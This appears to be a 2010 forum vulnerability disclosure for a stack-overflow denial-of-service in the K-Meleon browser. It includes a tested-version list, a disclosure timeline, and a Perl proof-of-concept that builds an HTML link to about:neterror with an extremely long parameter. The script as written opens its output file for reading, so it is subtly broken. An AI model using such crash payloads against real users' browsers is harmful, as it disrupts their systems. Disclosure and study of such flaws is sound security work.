K-Meleon for windows about:neterror Stack Overflow DoS

andry Mon Sep 27, 2010 6:04 am

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K-Meleon for windows about:neterror Stack Overflow DoS
Vendor URL:http://kmeleon.sourceforge.net/
Vendor notified:Yes exploit available: YES
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K-Meleon is an extremely fast, customizable, lightweight web browser
based on the Gecko layout engine developed by Mozilla which is also
used by Firefox. K-Meleon is free, open source software released under
the GNU General Public License and is designed specifically for
Microsoft Windows (Win32) operating systems.

K-Meleon is prone vulnerable to crashing with a very long URL...
Internal web pages like about:neterror does not limit the amount of
chars that a user put in 'c' 'd' params and them if we compose a
malformed url the browser can be chash easy.This issue is exploitable
via web links like click here or via
window.location.replace('very long url') or similar vectors.

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Versions Tested
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I have tested this issue in win xp sp3 and a windows 7 fully pached.

Win XP sp3:
K-meleon 1.5.3 & 1.5.4 Vulnerables.(crashes )
K-Meleon 1.6.0a4 Vulnerables.(crashes)

windows 7 Ultimate:
K-meleon 1.5.3 & 1.5.4 Vulnerables.(crashes)
K-Meleon 1.6.0a4 Vulnerables.(crashes)

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References
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Discovered: 29-07-2010
vendor notify:31-07-2010
Vendor Response:
Vendor patch:

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ASM code stack overflow
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#Proof Of Concept
################

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#!/usr/bin/perl
# k-meleon Long "a href" Link DoS
# k-Meleon versions 1.5.3 & 1.5.4 internal page about:neterror DoS
# generate the file open it with k-keleon click in the link and wait a seconds
######################################################################

$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Usage: $0 <archivo.html>\n";

}

$cabecera = "<html>" . "\n";
$payload = "<a href="about:neterror?e=connectionFailure&c=" . "/" x 1028135 . "">click here if you can Smile

</a>" . "\n";
$fin = "</html>";

$datos = $cabecera . $payload . $fin;

open(FILE, '<' . $archivo);
print FILE $datos;
close(FILE);

exit;

################## EOF ######################

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Related Links
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vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251
Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474
Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776

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